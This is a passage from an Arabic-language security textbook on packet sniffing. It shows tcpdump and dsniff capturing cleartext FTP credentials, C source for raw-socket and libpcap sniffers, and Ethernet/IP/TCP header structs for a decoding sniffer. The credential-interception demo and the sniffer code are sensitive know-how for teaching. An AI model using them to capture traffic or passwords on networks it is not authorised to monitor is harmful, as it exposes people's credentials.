‫ هلذا ال‬Log ‫شبكة ما وعمل‬ ‫ املار طالل‬Traffic ‫ لل‬Intercept ‫نُطلق عىل ذذا الربنامج الصغريالذي يقوم بعمل‬
.“Network Sniffer” ‫ بال‬Traffic

mode ‫ ذذا ال‬،“Promiscuous Mode” ‫ بوضع كارت الشبكة لديك عىل َوضع‬tcpdump ‫يقوم برنامج مثل ال‬

.“packet-capturing” ‫ُي َم ِّكنُ ُه من القيام بعملية ال‬

.FTP ‫ والتي تُظهر التقاط احلساب اخلاص بال‬tcpdump ‫ذذه نتائج ال‬

reader@hacking:~/booksrc $ sudo tcpdump -l -X 'ip host 192.168.0.118'


tcpdump: listening on eth0
21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win
17316 <nop,nop,timestamp 466808 920202> (DF)
0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E..].e@........v
0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........)..s^...
0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C../.........x
0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft.
0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99.
0x0050 3133 13
21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840
<nop,nop,timestamp 920662 466808> (DF) [tos 0x10]
0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...
0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ...............V
0x0030 0007 1f78 ...x
21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42
win
5840 <nop,nop,timestamp 921434 466808> (DF) [tos 0x10]
0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 E..@.p@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...
0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z

Security & Attacks


[186]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech..
21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13
win 17304 <nop,nop,timestamp 466885 921434> (DF)
0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 E..V..@....m...v
0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^...
0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,..........
0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password
0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le
0x0050 6563 ec
21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840
<nop,nop,timestamp 921435 466885> (DF) [tos 0x10]
0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...
0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[
0x0030 0007 1fc5 ....
21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76
win 5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10]
0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...
0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................
0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite
0x0040 0d0a ..
21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27
win 17290 <nop,nop,timestamp 466923 921809> (DF)
0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 E..O..@....T...v
0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^...
226 0x400
0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..C.L...........
0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 ....230.User.lee
0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in...

‫ قكام تعلم أن البيانات التي يتم‬،FTP Server ‫ أثناء اتصاله بال‬FTP ‫لقد تم التقاط حساب ا ُملستخدم اخلاص بال‬
.!Unencrypted ‫ تكون‬Telnet ‫ أو ال‬FTP ‫لرساهلا عرب الشبكة باستخدام بروتوكول ال‬

:‫وذذا توضيح لنقطة الضعف ذذه‬


Using FTP both the command and data channels are unencrypted. Any data sent over these
channels can be intercepted and read. One common exploit that takes advantage of this particular
vulnerability is the man-in-the-middle attack using ARP poisoning and a packet sniffer.

Security & Attacks


[187]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

FTPS ‫ ألن ال‬Session ‫ لن تظهر ال‬FTP ‫ بدالً من ال‬FTPS ‫“ ُذنا بروتوكول ال‬Leech” ‫بالطبع لذا استخدم السيد‬

‫ لتَحقيق‬SSH ‫ ُيفضل استخدام ال‬Telnet ‫ وباملثل َبدَ الً من استخدام ال‬.Login ‫ يف تشفري عملية ال‬SSL ‫َيستَخدم ال‬
.‫اإلتصال اآلمن‬
.dsniff ‫ تقوم بالتقاط حسابات ا ُملستَخدمني بشكل ُمبارش مثل ال‬tcpdump ‫ال من ال‬
ً ‫تُوجد أدوات أكثر تفصي‬

Dsniff:
reader@hacking:~/booksrc $ sudo dsniff -n
dsniff: listening on eth0
-----------------
12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp)
USER leech
PASS l8@nite

Building Our Sniffer!

.‫ املختلفة‬Network Sniffing ‫واآلن سنتعرف عن قرب كيف تعمل برامج ال‬


:‫الرجل‬
ُ ‫تعال نُلق نظرة عىل ما يقول ُه ذذا‬
Packet sniffers can be coded by either using sockets api provided by the kernel, or by using some
packet capture library like libpcap.

Basic Sniffer using sockets


To code a very simply sniffer in C the steps would be:

1. Create a raw socket.


2. Put it in a recvfrom loop and receive data on it.

A raw socket when put in recvfrom loop receives all incoming packets. This is because it is not
bound to a particular address or port.

Security & Attacks


[188]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_TCP);


while(1)
{
data_size = recvfrom(sock_raw , buffer , 65536 , 0 , &saddr , &saddr_size);
}

That’s all. The buffer will hold the data sniffed or picked up. The sniffing part is actually
complete over here. The next task is to actually read the captured packet, analyze it and present it
to the user in a readable format.

‫ وكام‬،OSI Layers ‫ ل َيكشف من طالله ما حيدث داطل ال‬Row Socket ‫الرجل أن ُخيربنا أنه سيستخدم ال‬
ُ ‫ُيريد ذذا‬
‫ ثم‬،Row Socket ‫ ليكون‬Socket ‫ واطتار نوع ال‬،IPv4 ‫ ب‬Protocol Family ‫يظهر يف الكود ققد حدد نوع ال‬
‫ التي تراذا‬Arguments ‫ والتي تستقبل ال‬recvfrom( ) ‫ ثم استخدم ال‬.TCP ‫حدد أنه ُيريد مراقبة بروتوكول ال‬
َ ‫رب كارت الشبكة‬
‫ ولكي َيكتمل‬،buffer ‫وختزينه يف ال‬ َ ‫ املار َع‬traffic ‫ لل‬Capture ‫ استخدمها كي يقوم بعمل‬،‫باألعىل‬
َ ‫ ل َع َمل َقرز‬function ‫ ال ُبد أن نَستخدم‬،‫ الرائع‬Sniffer ‫ذذا ال‬
.data ‫وعرض ذذه ال‬
..‫ قامذا سنستخدم؟‬،!‫أليس كذلك‬
.‫ ُيمكنُك ُمراجعتها كي تتذكر آلية عملها‬.!‫ التي َرشحناذا يف الفصل السابق‬dump( ) ‫َسنستَخدم ال‬

:‫ عليه‬Dump( ) ‫ بعد لدطال ال‬Sniffer ‫ذيا لنُشاذد ذذا ال‬


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "error.h"

Security & Attacks


[189]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

int main(void) {
int i, recv_length, sockfd;
u_char buffer[9000];
if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
fatal("in socket");
for(i=0; i < 3; i++) {
recv_length = recv(sockfd, buffer, 8000, 0);
printf("Got a %d byte packet\n", recv_length);
dump(buffer, recv_length);
}
}

‫) كام يبدو داطل دالة ال‬3 Packets( ‫ لعدد‬capture ‫ ويقوم بعمل‬،TCP ‫ من نوع‬row socket ‫ذذا الكود يقوم بفتح‬
.For( )
buffer ‫ الحظ أننا يف البداية َعرقنا ا ُملتَغري‬.dump( ) ‫ باستخدام ال‬packet ‫ اخلاصة بكل‬row data ‫ثم يقوم بطباعة ال‬

.“unsigned char” ‫َو َحددنا نوعه‬

‫“ بالذات؟‬unsigned char” ‫وملاذا اطرتنا‬


..binary data ‫ قهي تتعامل بشكل جيد مع ال‬،network programming ‫ألهنا أقضل صيغة تُستخدم يف ال‬

َ ‫ذل‬
.‫“ الذي حتدثنا عنه يف الباب الثاين؟‬the Server” ‫تتذكر برنامج‬
‫ الذي‬text ‫ هلذا ال‬capture ‫ بعمل‬sniffer ‫ُجرب كيف سيقوم ال‬
ِّ ‫ ون‬server ‫ هلذا ال‬texts ‫سنقوم بإرسال بعض ال‬
.‫جيري لرساله‬

Security & Attacks


[190]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:Server ‫ مع ال‬Session ‫ أثناء قتح‬Sniffer ‫ذذه نتائج تشغيل ال‬


reader@hacking:~/booksrc $ sudo ./raw_tcpsniff
Got a 68 byte packet
45 10 00 44 1e 36 40 00 40 06 46 23 c0 a8 2a 01 | E..D.6@.@.F#..*.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf 92 e5 10 6c c9 | ..*...........l.
80 18 05 b4 32 47 00 00 01 01 08 0a 26 ab 9a f1 | ....2G......&...
02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 | .;e.this is a te
73 74 0d 0a | st..
Got a 70 byte packet
45 10 00 46 1e 37 40 00 40 06 46 20 c0 a8 2a 01 | E..F.7@.@.F ..*.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf a2 e5 10 6c c9 | ..*...........l.
80 18 05 b4 27 95 00 00 01 01 08 0a 26 ab a0 75 | ....'.......&..u
02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41 | .<.(AAAAAAAAAAAA
41 41 41 41 0d 0a | AAAA..
Got a 71 byte packet
45 10 00 47 1e 38 40 00 40 06 46 1e c0 a8 2a 01 | E..G.8@.@.F...*.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf b4 e5 10 6c c9 | ..*...........l.
80 18 05 b4 68 45 00 00 01 01 08 0a 26 ab b6 e7 | ....hE......&...
02 3c 20 ad 66 6a 73 64 61 6c 6b 66 6a 61 73 6b | .< .fjsdalkfjask
66 6a 61 73 64 0d 0a | fjasd..
reader@hacking:~/booksrc $

ِّ ‫ واآلن َسن‬،row socket ‫ باستخدام ال‬sniffing ‫ لقد ُقمنا بتَجربة ال‬.ASCII ‫) بال‬A( ‫) تَعني‬0x41( ‫تذكر َأن‬
‫ُجرب‬
.dsniff ‫ و ال‬tcpdump ‫ والتي يستخد ُمها ال‬،libpcap library ‫استخدام ال‬

libpcap Sniffer

:Lib ‫ماييل تعريف ذذه ال‬


The Packet Capture library provides a high level interface to packet capture systems. All packets
on the network, even those destined for other hosts, are accessible through this mechanism. It
also supports saving captured packets to a “savefile”, and reading packets from a “savefile”.

Security & Attacks


[191]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

. ‫ ُشكر ًا هلم‬..‫ بريكيل‬،‫طورون ينتمون لىل جامعة كاليفورنيا‬


ِّ ‫قام بكتابتها ثالثة ُم‬
Lib ‫ اخلاصة ِبذه ال‬functions ‫سنقوم باستخدام ال‬
#include <pcap.h>
#include "error.h"

void pcap_fatal(const char *failed_in, const char *errbuf) {


printf("Fatal Error in %s: %s\n", failed_in, errbuf);
exit(1);
}

int main() {
struct pcap_pkthdr header;
const u_char *packet;
char errbuf[PCAP_ERRBUF_SIZE];
char *device;
pcap_t *pcap_handle;
int i;

device = pcap_lookupdev(errbuf);
if(device == NULL)
pcap_fatal("pcap_lookupdev", errbuf);

printf("Sniffing on device %s\n", device);

pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf);


if(pcap_handle == NULL)
pcap_fatal("pcap_open_live", errbuf);

for(i=0; i < 3; i++) {


packet = pcap_next(pcap_handle, &header);
printf("Got a %d byte packet\n", header.len);
dump(packet, header.len);
}
pcap_close(pcap_handle);
}

Security & Attacks


[192]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذذه ال ‪ِ Library‬با العديد م َن ال ‪ functions‬وال ‪ structures‬لتَقوم ب َع َمل ما نُريد‪.‬‬


‫نبدأ بال ) (‪:main‬‬

‫ُقمنا باستدعاء ‪ struct‬من ذذه ال ‪ lib‬وذو ‪..pcap_pkthdr‬‬

‫اشتققنا منه ‪ object‬وأسميناه ‪..header‬‬

‫ذذا ال ‪ object‬سيحمل نفس ال ‪ variables‬ا ُملندر َجة حتت ذذا ال ‪ struct‬كام تَع َلم‪.‬‬
‫ذاذي‪:‬‬
‫{ ‪struct pcap_pkthdr‬‬
‫;‪struct timeval ts‬‬ ‫‪/* time stamp */‬‬
‫;‪bpf_u_int32 caplen‬‬ ‫‪/* length of portion present */‬‬
‫;‪bpf_u_int32 len‬‬ ‫‪/* length this packet (off wire) */‬‬
‫;}‬

‫‪ ‬أول متغري ُيستخدم لعرض الوقت الذي حدث قيه ال ‪.capturing‬‬

‫‪ ‬والثاين س َيعرض لك حجم ال ‪ data‬ا ُملتاح لك التقاطها طالل عملية ال ‪.capture‬‬

‫‪ ‬والثالث س َيعرض لك حجم ال ‪ Packets‬الفعلية التي يتم التقاطها!‪.‬‬

‫ثم ُقمنا بتعريف ا ُملتغري الذي َسنَضع به ال ‪ row bytes‬بصيغة ‪ unsigned char‬كام أوضحنا سالف ًا‪ .‬ويأيت بعده متغري‬
‫بإسم ‪ errbuf‬له حجم ثابت وذو ‪ ،256 bytes‬سنستخدم ذذا ا ُملتغري لن ََضع به َمسار ال ‪ device‬الذي َس َيقوم بعملية‬
‫ال ‪ ،sniffing‬وذو يف حالتنا ُذنا سيكون ‪ /dev/eth0‬ونعني ِبا ‪ ethernet0‬لشار ًة لىل كارت الشبكة لدينا‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[193‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫ُثم نأيت هلذا اجلزء‬


device = pcap_lookupdev(errbuf);
if(device == NULL)
pcap_fatal("pcap_lookupdev", errbuf);

printf("Sniffing on device %s\n", device);

:‫ لتقوم بالتحقق من كارت الشبكة لديك‬pcap_lookupdev( ) ‫استخدمنا‬


"Find the default device on which to capture"
.‫ التي استخمناذا مرار ًا من َقبل‬fatal( ) ‫ عن طريق‬error ‫ َق َس ُرتجع َلنا‬،‫ولن َت َعذر ذلك‬

:‫ُثم ذذا اجلزء‬


pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf);
if(pcap_handle == NULL)
pcap_fatal("pcap_open_live", errbuf);

.‫ أيض ًا‬libpcap library ‫ وذي من ال‬pcap_open_live( ) ‫استخدمنا ُذنا‬


:‫ كام نُالحظ‬arguments ‫موعة من ال‬ ُ
َ ‫وتأطذ َجم‬
/dev/eth0 ،‫ نفسه‬device ‫ األول ذو َمسار ال‬

maximum packet size ‫ والثاين ذو ال‬

promiscuous mode flag ‫ والثالث ذو‬

timeout value ‫ والرابع ذو ال‬

errbuf ‫ يشري لىل ال‬pointer ‫ واخلامس ذو‬

Security & Attacks


[194]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫اجلُزء األطري‬
for(i=0; i < 3; i++) {
packet = pcap_next(pcap_handle, &header);
printf("Got a %d byte packet\n", header.len);
dump(packet, header.len);
}

.‫ وحددنا عددذم ليكون ثالثة‬،packets ‫ الستقبال ال‬loop ‫كالعادة نقوم بعمل‬


‫ واآلطر ذو ال‬Pcap_open_live( ) ‫ القادم من ال‬handle ‫ عبارة عن ال‬arguments ‫ تَستَقبل‬pcap_next( ) ‫ذذه ال‬
‫ و ال‬length of packets ‫ الذي حيوي بيانات ال‬،pcap_pkthdr ‫" الذي اشتققنا ُه من ال‬address of our object"
.time of capturing

“Return the next available packet” :‫ كاآليت‬function ‫تُعت ََرب وظيفة ذذه ال‬

:two arguments ‫ وتَستَقبل‬،dump( ) ‫ُثم تأيت وظيفة ال‬

row bytes ‫ ل َيحمل بداطله ال‬unsigned char ‫ وذو عبارة عن‬،packet ‫ األول ذو ال‬

.)‫ ( َتكَلمنا عن ُه يف أول جزء‬،header ‫ اخلاص بال‬elements ‫ أو ال‬attributes ‫ والثاين ذو أحد ال‬
.length ‫ ا ُملتعلق بال‬variable ‫ سوى ذذا ال‬struct ‫ذذا َيعني َأنَنا ال نُريد من ذذا ال‬

:‫ إلهناء العملية‬close_pcap( ) ‫ُثم أطري ًا نَستخدم‬


pcap_close() - close a capture device or save file
:‫ذيا لنقوم بتشغبل ذذا الكود‬

Security & Attacks


[195]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

reader@hacking:~/booksrc $ gcc -o pcap_sniff pcap_sniff.c -l pcap


reader@hacking:~/booksrc $ ./pcap_sniff

Fatal Error in pcap_lookupdev: no suitable device found


reader@hacking:~/booksrc $ sudo ./pcap_sniff
Sniffing on device eth0
Got a 82 byte packet
00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E.
00 44 1e 39 40 00 40 06 46 20 c0 a8 2a 01 c0 a8 | .D.9@.@.F ..*...
2a f9 8b 12 1e d2 ac 14 cf c7 e5 10 6c c9 80 18 | *...........l...
05 b4 54 1a 00 00 01 01 08 0a 26 b6 a7 76 02 3c | ..T.......&..v.<
37 1e 74 68 69 73 20 69 73 20 61 20 74 65 73 74 | 7.this is a test
0d 0a | ..
Got a 66 byte packet
00 01 29 15 65 b6 00 01 6c eb 1d 50 08 00 45 00 | ..).e...l..P..E.
00 34 3d 2c 40 00 40 06 27 4d c0 a8 2a f9 c0 a8 | .4=,@.@.'M..*...
2a 01 1e d2 8b 12 e5 10 6c c9 ac 14 cf d7 80 10 | *.......l.......
230 0x400
05 a8 2b 3f 00 00 01 01 08 0a 02 47 27 6c 26 b6 | ..+?.......G'l&.
a7 76 | .v
Got a 84 byte packet
00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E.
00 46 1e 3a 40 00 40 06 46 1d c0 a8 2a 01 c0 a8 | .F.:@.@.F...*...
2a f9 8b 12 1e d2 ac 14 cf d7 e5 10 6c c9 80 18 | *...........l...
05 b4 11 b3 00 00 01 01 08 0a 26 b6 a9 c8 02 47 | ..........&....G
27 6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | 'lAAAAAAAAAAAAAA
41 41 0d 0a | AA..
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $

sudo command ‫ يف البداية بسبب عدم استخدام‬error ‫الحظ ظهور ال‬

..‫تَم بنجاح‬

Security & Attacks


[196]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫َسننتقل اآلن لىل ُأ ُمور أكثر لثار ًة‪..‬‬


‫سنقوم بعمل ‪ Analysis‬لل ‪..OSI Layers‬‬

‫أعدُ ك بأن تفهم ال ‪ OSI Layers‬ب ُعمق مع انتهاء الفقرة القادمة‪.‬‬


‫ذيا بنا‪..‬‬

‫‪Layer Analysis‬‬

‫ذذا ال ‪ traffic‬املار عرب الشبكة عبارة عن ‪ packets‬حتتوي عىل ‪ data‬و ‪ headers‬يوضح التفاصيل املُتع ِّلقة بتلك ال‬
‫‪ .data‬سنقوم اآلن ب َعمل ما ُيسمى بال ”‪.“Decoding the Layers‬‬

‫سنبدأ باملرور عىل الطبقات الثالث‪ ،(Data-Link, Network, and Transport Layers) ،‬نقوم طالهلا بتفكيك‬
‫وحتليل حمتويات ال ‪ Header‬اخلاص بكل طبقة‪ ،‬وجتهيزذم كي يتم استخدامهم قيام بعد‪..‬‬
‫سنبدأ بال ‪.Ethernet Header‬‬

‫‪Ethernet Header‬‬
‫يف نظام التشغيل ‪ Linux‬تم تعريف ال ‪ structure‬اخلاص بال ‪ Ethernet Header‬عرب ذذا املسار‪:‬‬
‫‪/user/include/linux/if_ether.h‬‬
‫سأعرض لك ‪ screenshot‬من جهازي‪ ،‬وذي توضح جزء من ذذا امللف‪:‬‬

‫‪Security & Attacks‬‬


‫]‪[197‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

MAC ‫ من أجل ال‬6 bytes ‫" تعني أن ُه تَم ختصيص‬Ethernet Address Length" ‫ ذي اطتصار ل‬Define ‫أول‬

:‫ الحظ يف السطر الذي يبدأ ب‬.Address


#define ETH_HLEN 14
.14 Bytes ‫ ليكون‬Ethernet Header ‫لنه يقوم بتعريف طول ال‬

Security & Attacks


[198]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

َ ‫ َذكَر أن ُه ال َيت‬data length ‫ اخلاص بال‬field ‫أيض ًا ال‬


‫ الذي تَكلمنا عنه يف‬MTU ‫ وذذا ذو ال‬،1500 bytes ‫َجاوز ال‬
‫ ل ُيعطينا ا ُملحصلة وذي ال‬1500 ‫ عىل ال‬14 bytes ‫ الحظ يف السطر الذي يليه أن ُه قا َم بإضاقة ال‬.‫الفصل السابق‬
.Header ‫ ُمضاق ًا لليها ال‬Data ‫“ الذي ذو عباره عن ال‬Frame”

:‫ذاذو‬
#define ETH_ALEN 6 /* Octets in one ethernet addr */
#define ETH_HLEN 14 /* Total octets in header */

/*
* This is an Ethernet frame header.
*/

struct ethhdr {
unsigned char h_dest[ETH_ALEN]; /* Destination eth addr */
unsigned char h_source[ETH_ALEN]; /* Source ether addr */
__be16 h_proto; /* Packet type ID field */
} __attribute__((packed));

:‫واآلن ذيا لن َُحوصل ما مىض‬


6 bytes Source MAC + 6 bytes Dest MAC + 2 bytes type of ethernet packet =
14 bytes (Ethernet Header)
‫“ ؟‬type of ethernet packet” ‫ذل تتذكر ذذا ال‬

‫ أم‬ARP ‫ ما لذا كانت‬packet ‫ عندما كُنا بحاجة َملعرقة نوع ال‬،‫ يف الباب الثاين‬ARP ‫حتدثنا عنه يف ققرة بروتوكول ال‬
‫ مع تَغيري بعض التسميات غري‬،‫ اخلاص بنا بنا ًء عىل ذذه املعلومات الق ِّيمة‬structure ‫ َسنقوم بعمل ال‬.‫ عادية‬data

ُ ‫الواضحة لىل ما نَرا ُه أوضح ُثم ن‬


.‫ عىل حدة‬include file ‫َضعهم يف‬

Security & Attacks


[199]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

#define ETHER_ADDR_LEN 6
#define ETHER_HDR_LEN 14

struct ether_hdr {
unsigned char ether_dest_addr[ETHER_ADDR_LEN]; //Dest. MAC
unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC
unsigned short ether_type; // Type of Ethernet packet
};

.“Network.h” ‫َسنُطلق عىل ذذا امللف‬

.IP Header ‫ اخلاص بال‬structure ‫واآلن سننتقل لىل ال‬

IP Header

.Options field ‫ بدون ال‬20 bytes ‫ َيب ُلغ طوله‬IP Header ‫الحظ أن ال‬

Security & Attacks


[200]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

.‫ سنفعل ُذنا نفس اليشء‬Ethernet Header ‫وكام قعلنا مع ال‬


:Header ‫ذذا الشكل ُيوضح َمسار ذذا ال‬

:Struct ‫ماييل بعض حمتويات ذذا ال‬


struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl:4;
unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;
#else
# error "Please fix <bits/endian.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};

Security & Attacks


[201]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

..‫ ذاته‬include file ‫ أيض ًا و َض ّمه لىل ال‬Header ‫سنقوم بإنشاء ذذا ال‬
“Network.h”:‫الذي أسميناه‬

struct ip_hdr {
unsigned char ip_version_and_header_length; // Ver and hdr len
unsigned char ip_tos; // Type of service
unsigned short ip_len; // Total length
unsigned short ip_id; // Identification number
unsigned short ip_frag_offset; // Fragment offset and flags
unsigned char ip_ttl; // Time to live
unsigned char ip_type; // Protocol type
unsigned short ip_checksum; // Checksum
unsigned int ip_src_addr; // Source IP address
unsigned int ip_dest_addr; // Destination IP address
};

.TCP Header ‫ونختم بال‬

TCP Header

.options field ‫ بدون ال‬، 20 bytes ‫ يبلغ طوله‬Header ‫أيض ًا ذذا ال‬

:Header ‫نَعرض يف الصفحة التالية شكل ذذا ال‬

Security & Attacks


[202]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫“ كاآليت‬TCP header length” ‫بعض املصادر تقوم بتعريف ال‬


“An integer that specifies the length of the segment header measured in 32-bit multiples”
“4 bytes * number of segments have been used” :‫صد بذلك‬
َ ‫و ُيق‬

..‫سنقوم بتفصيله الحق ًا‬

:‫ اخلاص به‬Structure ‫ماييل شكل ال‬


typedef u_int32_t tcp_seq;

/*
* TCP header.

Security & Attacks


[203]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

* Per RFC 793, September, 1981.


*/

struct tcphdr
{
u_int16_t th_sport; /* source port */
u_int16_t th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgment number */
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:4; /* (unused) */
u_int8_t th_off:4; /* data offset */
# endif
# if __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off:4; /* data offset */
u_int8_t th_x2:4; /* (unused) */
# endif
u_int8_t th_flags;
# define TH_FIN 0x01
# define TH_SYN 0x02
# define TH_RST 0x04
# define TH_PUSH 0x08
# define TH_ACK 0x10
# define TH_URG 0x20
u_int16_t th_win; /* window */
u_int16_t th_sum; /* checksum */
u_int16_t th_urp; /* urgent pointer */
};

..‫ بطريقتنا‬TCP Structure ‫سنقوم أيض ًا بكتابة ال‬


.‫ مر ًة أطرى بطريقة أوضح‬Flags ‫ لل‬define ‫الحظ أننا سنقوم بعمل‬
struct tcp_hdr {
unsigned short tcp_src_port; // Source TCP port
unsigned short tcp_dest_port; // Destination TCP port
unsigned int tcp_seq; // TCP sequence number

Security & Attacks


[204]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

unsigned int tcp_ack; // TCP acknowledgment number


unsigned char reserved:4; // 4 bits from the 6 bits of reserved space
unsigned char tcp_offset:4; // TCP data offset for little-endian host
unsigned char tcp_flags; // TCP flags (and 2 bits from reserved space)
#define TCP_FIN 0x01
#define TCP_SYN 0x02
#define TCP_RST 0x04
#define TCP_PUSH 0x08
#define TCP_ACK 0x10
#define TCP_URG 0x20
unsigned short tcp_window; // TCP window size
unsigned short tcp_checksum; // TCP checksum
unsigned short tcp_urgent; // TCP urgent pointer
};

.“Network.h” ‫نقوم ب َضمهم أيض ًا لىل امللف‬

.!‫ذذا عمل رائع‬


‫ هلذه ال‬decode ‫ واآلن ُيمكنُنا كتابة برنامج ليقوم بعمل‬،Structures ‫ عىل ذيئة‬Headers ‫لقد ُقمنا بتعريف ال‬
.‫ يتم التقاطها‬packet ‫ من كل‬Headers
.!‫َس َيكون ذلك ُُمتع ًا‬

The Decoder Sniffer

‫ يقوم‬Sniffer ‫“ من أجل تكوين‬Network.h” ‫ وامللف الذي أنشأناه‬،"libpcap library" ‫سنقوم ُذنا باالستعانة بال‬
‫ َبدء ًا‬layer ‫ لكُل‬decode ‫ مع عمل‬packet ‫ املار عربكارت الشبكة و عرض تفاصيل كل‬traffic ‫ لل‬capture ‫بعمل‬
.Transport Layer ‫ وانتها ًء بال‬Data-Link Layer ‫بال‬

Security & Attacks


[205]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

function ‫ الحظ أننا سوف نستبدل ال‬.‫سنطرح ذذا الكود عىل ثالثة أجزاء كي ن َُس ِّهل عىل أن ُفسنا عملية اإلستيعاب‬

‫كانت وظيفتها‬.. ‫ ذل نسيت وظيفتها؟‬..pcap_next( ) ‫ السابق والتي كانت بإسم‬sniffer ‫التي استخدمناذا يف ال‬
.‫ التالية‬packet ‫تتمثل يف َجلب ال‬
.‫ وتُعد أكثر قاعلية منها‬،pcap_loop( ) ‫ ذي‬،‫ أطرى أقضل منها‬function ‫سنستخدم لذلك‬
:‫ اخلاص ِبا‬prototype ‫ماييل ال‬

int pcap_loop(pcap_t *handle, int count, pcap_handler caught_packet,


u_char *args);
.‫ سيكون كل يشء عىل ما ُيرام‬..‫ال تقلق‬.. .!!‫ ا ُملزعجة‬Arguments ‫ماذذه ال‬
:Handle ‫لنبدأ ِبذا ال‬

